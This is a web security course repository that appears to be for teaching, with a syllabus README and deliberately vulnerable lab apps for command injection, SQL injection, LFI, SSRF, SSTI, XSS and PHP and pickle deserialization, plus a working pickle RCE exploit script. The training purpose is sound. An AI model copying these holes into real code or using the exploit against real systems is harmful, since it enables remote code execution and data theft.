├── README.md ├── homework └── README.md ├── lab ├── cmd-injection │ ├── dnstool-waf │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ └── index.php │ ├── dnstool │ │ ├── Dockerfile │ │ ├── flag │ │ └── src │ │ │ └── index.php │ └── docker-compose.yml ├── deserialization │ ├── _flags │ │ ├── cat │ │ ├── magic-cat │ │ └── pickle │ ├── cat │ │ ├── Dockerfile │ │ └── index.php │ ├── docker-compose.yml │ ├── magic-cat │ │ ├── Dockerfile │ │ └── index.php │ └── pickle │ │ ├── exploit.py │ │ ├── main.py │ │ └── uwsgi.ini ├── frontend │ └── xss │ │ ├── app │ │ ├── Dockerfile │ │ ├── main.py │ │ ├── static │ │ │ ├── bulma.min.css │ │ │ ├── sweetalert2.min.css │ │ │ └── sweetalert2.min.js │ │ ├── templates │ │ │ └── index.html │ │ └── uwsgi.ini │ │ ├── bot │ │ ├── Dockerfile │ │ ├── run.sh │ │ └── xssbot.py │ │ └── docker-compose.yml ├── lfi │ ├── HakkaMD │ │ ├── flag │ │ └── src │ │ │ ├── index.php │ │ │ ├── module │ │ │ ├── home.php │ │ │ ├── list.php │ │ │ └── post.php │ │ │ └── phpinfo.php │ ├── docker-compose.yml │ └── meow-site │ │ ├── admin.php │ │ ├── inc │ │ ├── about.php │ │ └── home.php │ │ └── index.php ├── logic-vulns │ ├── app │ │ ├── main.py │ │ ├── templates │ │ │ ├── index.html │ │ │ └── item.html │ │ └── uwsgi.ini │ └── docker-compose.yml ├── sql-injection │ ├── docker-compose.yml │ ├── login-me-again │ │ └── app │ │ │ ├── main.py │ │ │ ├── templates │ │ │ └── index.html │ │ │ └── uwsgi.ini │ ├── login-me │ │ └── app │ │ │ ├── main.py │ │ │ ├── templates │ │ │ └── index.html │ │ │ └── uwsgi.ini │ └── meow │ │ ├── Dockerfile │ │ ├── init.sql │ │ └── src │ │ ├── database.php │ │ ├── index.php │ │ └── view.php ├── ssrf │ ├── SSRFrog │ │ ├── docker-compose.yml │ │ ├── flag │ │ │ ├── Dockerfile │ │ │ ├── app.js │ │ │ ├── package.json │ │ │ └── secret.js │ │ └── src │ │ │ ├── Dockerfile │ │ │ ├── app.js │ │ │ ├── bin │ │ │ └── www │ │ │ ├── frog.png │ │ │ ├── index.html │ │ │ └── package.json │ └── preview-card │ │ ├── docker-compose.yml │ │ └── src │ │ ├── flag.php │ │ ├── index.php │ │ └── preview.php └── ssti │ ├── docker-compose.yml │ ├── flag │ └── jinja │ ├── main.py │ └── uwsgi.ini └── slides ├── topic ├── Basic Injection (Code, Command, SQL).pdf ├── Deserialization.pdf ├── Fronted Security Basic (XSS, CSRF etc.).pdf ├── Frontend Security Content Security Policy.pdf ├── Frontend Security DOM Clobbering.pdf ├── Frontend Security Side Channel.pdf ├── JavaScript Prototype Pollution.pdf ├── Recon & Info leak.pdf ├── SQL Injection.pdf ├── SSRF.pdf ├── Upload & LFI.pdf └── Web Basic.pdf └── week ├── week1.pdf ├── week2.pdf └── week3.pdf /README.md: -------------------------------------------------------------------------------- 1 | # How to Hack Websites 2 | 3 | ## Videos 4 | 5 | - 初章:https://youtu.be/a5vrGYsKc_A 6 | - 續章:https://youtu.be/hWC-Evt-sBc 7 | - 終章:https://youtu.be/73uI7BK8k3g 8 | 9 | ## Topics 10 | 11 | ### 初章 12 | 13 | [Full slide](slides/week/week1.pdf) 14 | 15 | - Web & Web security introduction [[slide]](slides/topic/Web%20Basic.pdf) 16 | - Access control & Bussiness logic 17 | - Recon & Information leak [[slide]](slides/topic/Recon%20&%20Info%20leak.pdf) 18 | - Insecure Upload / Path traversal / LFI [[slide]](slides/topic/Upload%20&%20LFI.pdf) 19 | - Basic injection [[slide]](slides/topic/Basic%20Injection%20(Code,%20Command,%20SQL).pdf) 20 | - Code injection 21 | - Command injection 22 | - SQL injection: Basic 23 | 24 | 25 | ### 續章 26 | 27 | [Full slide](slides/week/week2.pdf) 28 | 29 | - SQL injection: Advanced 30 | - Union-based 31 | - Boolean-based 32 | - Other 33 | - Server-side request forgery (SSRF) 34 | - Insecure deserialization 35 | - Intro 36 | - Pickle 37 | 38 | ### 終章 39 | 40 | [Full slide](slides/week/week3.pdf) 41 | 42 | - Insecure deserialization [[slide]](slides/topic/Deserialization.pdf) 43 | - PHP 44 | - POP Chain 45 | - Misc (Java, .NET etc.) 46 | - Frontend security: Basic [[slide]](slides/topic/Fronted%20Security%20Basic%20(XSS,%20CSRF%20etc.).pdf) 47 | - Same-origin policy 48 | - CSRF 49 | - XSS 50 | - Frontend security: Content Security Policy (CSP) [[slide]](slides/topic/Frontend%20Security%20Content%20Security%20Policy.pdf) 51 | - Frontend security: Advanced 52 | - XS-Leak / CSS injection [[slide]](slides/topic/Frontend%20Security%20Side%20Channel.pdf) 53 | - DOM Clobbering [[slide]](slides/topic/Frontend%20Security%20DOM%20Clobbering.pdf) 54 | - Advanced injection 55 | - NoSQL injection 56 | - Server-side template injection (SSTI) 57 | - Misc 58 | - JavaScript prototype pollution [[slide]](slides/topic/JavaScript%20Prototype%20Pollution.pdf) 59 | - XXE 60 | 61 | 62 | ## Labs 63 | 64 | > 題目之後的 `數字` 代表的是 docker 對外通訊埠編號 65 | 66 | - [Basic](lab/logic-vulns/) 67 | - [x] Cat Shop `8100` 68 | - SQL injection 69 | - [x] Login me: Login bypass `8200` 70 | - [x] Login me again: UNION-based SQL injection `8201` 71 | - [Command injection](lab/cmd-injection/) 72 | - [x] DNS tool `8300` 73 | - [x] DNS tool: WAF edition `8301` 74 | - [LFI](lab/lfi/) 75 | - [x] Meow site: Basic LFI `8400` 76 | - [x] HakkaMD: LFI to RCE `8401` 77 | - [SSRF](lab/ssrf/) 78 | - [x] Web Preview Service: Use `gopher://` to forge a request `8500` 79 | - [x] SSRFrog: Bypass blacklist `8501` 80 | - [Deserialization](lab/deserialization/) 81 | - [x] Pickle `8600` 82 | - [x] Cat: Basic PHP unserialize `8601` 83 | - [x] Magic cat: POP chain `8602` 84 | - [SSTI](lab/ssti/) 85 | - [x] Jinja2 SSTI `8700` 86 | - [Frontend](lab/frontend/) 87 | - [x] XSS `8800` 88 | 89 | ## Homework 90 | 91 | - Imgura: Information Leak / Upload / LFI 92 | - DVD Screensaver: Path traversal / SQL injection / Signed Cookie 93 | - Profile Card: XSS / CSRF / CSP Bypass 94 | - Double SSTI: SSTI 95 | - Log me in: FINAL: SQL injection / Information Leak 96 | 97 | -------------------------------------------------------------------------------- /homework/README.md: -------------------------------------------------------------------------------- 1 | TBA -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install dnsutils -qy 5 | RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/flag: -------------------------------------------------------------------------------- 1 | FLAG{lab_flag} -------------------------------------------------------------------------------- /lab/cmd-injection/dnstool-waf/src/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 |Lookup result:
36 |37 | ', '<', "\n", 'flag']; 39 | $is_input_safe = true; 40 | foreach ($blacklist as $bad_word) 41 | if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false; 42 | 43 | if ($is_input_safe) 44 | system("host '" . $_POST['name'] . "';"); 45 | else 46 | echo "HACKER!!!"; 47 | ?> 48 |49 |
Lookup result:
36 |= shell_exec("host '" . $_POST['name'] . "';") ?>37 |
"; 14 | system("cowsay 'Welcome back, $this->name'"); 15 | echo ""; 16 | } 17 | } 18 | 19 | if (!isset($_COOKIE['cat_session'])) { 20 | $cat = new Cat("cat_" . rand(0, 0xffff)); 21 | setcookie('cat_session', base64_encode(serialize($cat))); 22 | } else { 23 | $cat = unserialize(base64_decode($_COOKIE['cat_session'])); 24 | } 25 | ?> 26 |
Hello, = $cat->name ?>.
27 | source code 28 | -------------------------------------------------------------------------------- /lab/deserialization/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.5" 2 | 3 | services: 4 | pickle: 5 | image: tiangolo/uwsgi-nginx-flask:python3.8 6 | volumes: 7 | - ./pickle/:/app 8 | - ./_flags/pickle:/flag_5fb2acebf1d0c558 9 | ports: 10 | - 8600:80/tcp 11 | cat: 12 | build: ./cat 13 | volumes: 14 | - ./cat/:/var/www/html/ 15 | - ./_flags/cat:/flag_5fb2acebf1d0c558 16 | ports: 17 | - 8601:80/tcp 18 | magic-cat: 19 | image: php:7.4-apache 20 | volumes: 21 | - ./magic-cat/:/var/www/html/ 22 | - ./_flags/magic-cat:/flag_23907376917516c8 23 | ports: 24 | - 8602:80/tcp -------------------------------------------------------------------------------- /lab/deserialization/magic-cat/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.4-apache 2 | 3 | RUN apt update 4 | RUN apt install cowsay -qy 5 | RUN cp /usr/games/cowsay /usr/local/bin/cowsay 6 | # RUN mv "$PHP_INI_DIR/php.ini-production" "$PHP_INI_DIR/php.ini" 7 | -------------------------------------------------------------------------------- /lab/deserialization/magic-cat/index.php: -------------------------------------------------------------------------------- 1 | alert('MAGIC, $spell!');"; 9 | } 10 | } 11 | 12 | // Useless class? 13 | class Caster 14 | { 15 | public $cast_func = 'intval'; 16 | function cast($val) 17 | { 18 | return ($this->cast_func)($val); 19 | } 20 | } 21 | 22 | 23 | class Cat 24 | { 25 | public $magic; 26 | public $spell; 27 | function __construct($spell) 28 | { 29 | $this->magic = new Magic(); 30 | $this->spell = $spell; 31 | } 32 | function __wakeup() 33 | { 34 | echo "Cat Wakeup!\n"; 35 | $this->magic->cast($this->spell); 36 | } 37 | } 38 | 39 | if (isset($_GET['spell'])) { 40 | $cat = new Cat($_GET['spell']); 41 | } else if (isset($_COOKIE['cat'])) { 42 | echo "Unserialize...\n"; 43 | $cat = unserialize(base64_decode($_COOKIE['cat'])); 44 | } else { 45 | $cat = new Cat("meow-meow-magic"); 46 | } 47 | ?> 48 |49 | This is your 🐱: 50 | 51 |52 | 53 |
Usage:
54 |/?source
55 |/?spell=the-spell-of-your-cat
56 | 57 | -------------------------------------------------------------------------------- /lab/deserialization/pickle/exploit.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import base64 3 | import os 4 | 5 | command = 'id' 6 | 7 | 8 | class Exp: 9 | def __reduce__(self): 10 | return (__import__('subprocess').getoutput, (command,)) 11 | 12 | 13 | cookie = base64.b64encode(pickle.dumps({"age": 1, "name": Exp()})).decode() 14 | os.system(f"curl http://h4ck3r.quest:8400/ --cookie 'session={cookie}'") -------------------------------------------------------------------------------- /lab/deserialization/pickle/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, make_response, redirect, send_file 2 | import base64 3 | import pickle 4 | 5 | app = Flask(__name__) 6 | 7 | 8 | @app.route("/sauce") 9 | def sauce(): 10 | return send_file(__file__, mimetype="text/plain") 11 | 12 | 13 | @app.route("/") 14 | def main(): 15 | session = request.cookies.get("session") 16 | if session == None: 17 | return 'Name: {user["name"]}
Age: {user["age"]}
' 25 | 26 | 27 | @app.route("/login", methods=['POST']) 28 | def login(): 29 | user = base64.b64encode(pickle.dumps({ 30 | "name": request.form.get('name'), 31 | "age": int(request.form.get('age')) 32 | })) 33 | resp = make_response(redirect('/')) 34 | resp.set_cookie("session", user) 35 | return resp 36 | -------------------------------------------------------------------------------- /lab/deserialization/pickle/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app 4 | uid = 1001 5 | gid = 1001 -------------------------------------------------------------------------------- /lab/frontend/xss/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8 2 | RUN pip3 install redis rq -------------------------------------------------------------------------------- /lab/frontend/xss/app/main.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, redirect, session 2 | import json 3 | import base64 4 | import secrets 5 | import os 6 | 7 | from redis import Redis 8 | from rq import Queue 9 | 10 | app = Flask(__name__) 11 | app.queue = Queue(connection=Redis('xss-bot')) 12 | app.secret_key = secrets.token_bytes() 13 | 14 | users = { 15 | 'guest': 'guest', 16 | 'admin': os.getenv("PASSWORD") 17 | } 18 | 19 | 20 | @app.route("/") 21 | def main(): 22 | message = request.args.get('message') 23 | _type = request.args.get('type', "info") 24 | available_type = ['success', 'info', 'error', 'warning'] 25 | msg_type = _type if _type in available_type else "info" 26 | if message: 27 | data = json.dumps({ 28 | "icon": msg_type, 29 | "titleText": message, 30 | "timer": 3000, 31 | "showConfirmButton": False, 32 | "timerProgressBar": True, 33 | }) 34 | else: 35 | data = "null" 36 | return render_template("index.html", message=data) 37 | 38 | 39 | @app.route("/login", methods=['POST']) 40 | def login(): 41 | username, password = request.form.get("username"), request.form.get("password") 42 | if username in users: 43 | if users[username] == password: 44 | session['user'] = request.form.get("username") 45 | return redirect("/getflag") 46 | return redirect("/?type=error&message=Password Incorrect Q_Q") 47 | return redirect("/?type=error&message=User not found.") 48 | 49 | 50 | @app.route("/getflag") 51 | def flag(): 52 | if 'user' in session: 53 | if session['user'] == 'admin': 54 | return 'FLAG{lab_flag}' 55 | return f'嗨,{session["user"]}。只有 admin
能看到 FLAG 喔 :D
一個簡單的筆記平台
4 | 12 |".getenv('FLAG')."
"; 15 | } 16 | 17 | ?> -------------------------------------------------------------------------------- /lab/lfi/meow-site/inc/about.php: -------------------------------------------------------------------------------- 1 |33 | Cat shop 34 |
35 |36 | 🐱 🐱 🐱 37 |
38 |FLAG{lab_flag}
{% endif %}
66 | You don't have any cat yet...
69 | {% endfor %} 70 |29 | =$res['title']?> 30 |
31 | 32 |$matches_desc[1]
" : '' ?> 35 | = $url ?> 36 |= htmlentities($html) ?>41 | 42 | 43 |
Hello, " + name + "
") 21 | 22 | 23 | @app.get("/source") 24 | def source(): 25 | return send_file(__file__, mimetype="text/plain") 26 | 27 | 28 | if __name__ == '__main__': 29 | app.run(threaded=True, debug=True) 30 | -------------------------------------------------------------------------------- /lab/ssti/jinja/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = main 3 | callable = app 4 | uid = 1000 5 | gid = 1000 -------------------------------------------------------------------------------- /slides/topic/Basic Injection (Code, Command, SQL).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Basic Injection (Code, Command, SQL).pdf -------------------------------------------------------------------------------- /slides/topic/Deserialization.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Deserialization.pdf -------------------------------------------------------------------------------- /slides/topic/Fronted Security Basic (XSS, CSRF etc.).pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Fronted Security Basic (XSS, CSRF etc.).pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security Content Security Policy.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security Content Security Policy.pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security DOM Clobbering.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security DOM Clobbering.pdf -------------------------------------------------------------------------------- /slides/topic/Frontend Security Side Channel.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Frontend Security Side Channel.pdf -------------------------------------------------------------------------------- /slides/topic/JavaScript Prototype Pollution.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/JavaScript Prototype Pollution.pdf -------------------------------------------------------------------------------- /slides/topic/Recon & Info leak.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Recon & Info leak.pdf -------------------------------------------------------------------------------- /slides/topic/SQL Injection.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/SQL Injection.pdf -------------------------------------------------------------------------------- /slides/topic/SSRF.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/SSRF.pdf -------------------------------------------------------------------------------- /slides/topic/Upload & LFI.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Upload & LFI.pdf -------------------------------------------------------------------------------- /slides/topic/Web Basic.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/topic/Web Basic.pdf -------------------------------------------------------------------------------- /slides/week/week1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week1.pdf -------------------------------------------------------------------------------- /slides/week/week2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week2.pdf -------------------------------------------------------------------------------- /slides/week/week3.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splitline/How-to-Hack-Websites/605a0e11c22706eb666646e60e7dccd72f7b6784/slides/week/week3.pdf --------------------------------------------------------------------------------